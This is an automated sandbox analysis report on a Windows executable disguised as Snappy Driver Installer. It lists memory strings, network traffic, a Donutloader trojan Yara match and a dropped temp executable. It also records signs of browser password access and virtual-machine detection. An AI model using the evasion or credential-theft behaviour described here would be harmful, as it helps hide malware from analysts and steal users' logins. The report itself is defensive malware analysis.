Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://www.dropbox.com/help
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	String found in binary or memory: https://www.dropbox.com/home
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/js
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/tzw461qf44namwoprtqi1/channels424_banner.jpg?rlkey=ggwr95slh92f24jnfj
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptc
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.co
Source: SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.15:443 -> 192.168.2.4:49749 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F860F	0_3_047F860F
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85DE	0_3_047F85DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F85BD	0_3_047F85BD

Source: SDIO_R773.exe

Static PE information: Resource name: None type: PE32+ executable (console) x86-64, for MS Windows

Source: SDIO_R773.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/2@12/4

Source: C:\Users\user\Desktop\SDIO_R773.exe

File created: C:\Users\user\AppData\Local\Temp\NOUBJXTSUL2YOW34.exe

Jump to behavior

Source: SDIO_R773.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SDIO_R773.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SDIO_R773.exe, 00000000.00000003.1828826836.000000000480C000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1831331368.00000000047D8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SDIO_R773.exe	String found in binary or memory: -save-installed-id%temp%\SDI2\InstalledID.txt-HWIDInstalled:invalid parameter %S
Source: SDIO_R773.exe	String found in binary or memory: Fswww.snappy-driver-installer.orgopenTahomaMS Sans Serif.7zsnp%s\SDIOERROR in redrawmainwnd(): hMain is 0
Source: SDIO_R773.exe	String found in binary or memory: -PATH-install-?Install '%S' '%s'
Source: SDIO_R773.exe	String found in binary or memory: /c rd /s /q "%s"cmd-filtersp-reindex-index_hr-nogui-autoinstall-autoclose-autoupdate-nostop-extractdir:-keepunpackedindex-keeptempfiles-disableinstall-failsafe-delextrainfs-ls:-verbose:-nologfile-nosnapshot-nostamp-getdevicelist:-a:32-a:64-v:-save-installed-id-HWIDInstalled:-cfg:Unknown argument '%S'
Source: SDIO_R773.exe	String found in binary or memory: http://www.snappy-driver-installer.org/downloads/SDIO_Update.torrenthttp://www.snappy-driver-installer.org/downloads/Drivers.torrentupdate\SDIO_Update:
Source: SDIO_R773.exe	String found in binary or memory: -help
Source: SDIO_R773.exe	String found in binary or memory: ?h-helpbabdbtbbbso012bsebspyadaoasuttstxmowixaiaxanuvrstmsfxsemlscrcsisoslpscssccsltsswsscsaseaspdspespfsnhsnlsnisnssnrsncsntsdelstl$Zt&Zt(Zt.Zt1Zt4Zt7Zt
Source: SDIO_R773.exe	String found in binary or memory: Home Page: www.snappy-driver-installer.orgP
Source: SDIO_R773.exe	String found in binary or memory: Home Page: www.snappy-driver-installer.orgP"\
Source: SDIO_R773.exe	String found in binary or memory: // send updates to translations@snappy-driver-installer.org
Source: SDIO_R773.exe	String found in binary or memory: -install <hwid> <inffile>
Source: SDIO_R773.exe	String found in binary or memory: -save-installed-id[:<file>]

Source: C:\Users\user\Desktop\SDIO_R773.exe

File read: C:\Users\user\Desktop\SDIO_R773.exe

Jump to behavior

Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: newdev.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SDIO_R773.exe

Static PE information: certificate valid

Source: SDIO_R773.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SDIO_R773.exe

Static file information: File size 5304144 > 1048576

Source: SDIO_R773.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x31ce00

Source: SDIO_R773.exe

Static PE information: section name: .eh_fram

Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F4143 push eax; retf	0_3_047F4146
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F4143 push eax; retf	0_3_047F4146
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F4143 push eax; retf	0_3_047F4146
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F8A24 push esi; retf	0_3_047F8A27
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F8A24 push esi; retf	0_3_047F8A27
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F8A24 push esi; retf	0_3_047F8A27
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F491C push 8FBE3A3Fh; ret	0_3_047F4921
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F491C push 8FBE3A3Fh; ret	0_3_047F4921
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F491C push 8FBE3A3Fh; ret	0_3_047F4921
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F48CB pushad ; retf	0_3_047F48DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F48CB pushad ; retf	0_3_047F48DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F48CB pushad ; retf	0_3_047F48DE
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F80AC push esi; retf	0_3_047F80AF
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F80AC push esi; retf	0_3_047F80AF
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F80AC push esi; retf	0_3_047F80AF
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047DB9A2 push edx; retf	0_3_047DB9A6
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047E1E9F push ds; retf	0_3_047E1ED2
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047E1E9F push ds; retf	0_3_047E1ED2
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047E0199 push esi; iretd	0_3_047E019A
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047E0199 push esi; iretd	0_3_047E019A
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047E328D push eax; retf	0_3_047E328E
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047E328D push eax; retf	0_3_047E328E
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F4143 push eax; retf	0_3_047F4146
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F4143 push eax; retf	0_3_047F4146
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F4143 push eax; retf	0_3_047F4146
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F8A24 push esi; retf	0_3_047F8A27
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F8A24 push esi; retf	0_3_047F8A27
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F8A24 push esi; retf	0_3_047F8A27
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F491C push 8FBE3A3Fh; ret	0_3_047F4921
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F491C push 8FBE3A3Fh; ret	0_3_047F4921
Source: C:\Users\user\Desktop\SDIO_R773.exe	Code function: 0_3_047F491C push 8FBE3A3Fh; ret	0_3_047F4921

Source: C:\Users\user\Desktop\SDIO_R773.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SDIO_R773.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SDIO_R773.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SDIO_R773.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SDIO_R773.exe TID: 7656

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\SDIO_R773.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: Amcache.hve.0.dr	Binary or memory string: VMware
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.0.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.0.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.0.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2066797770.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.0.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
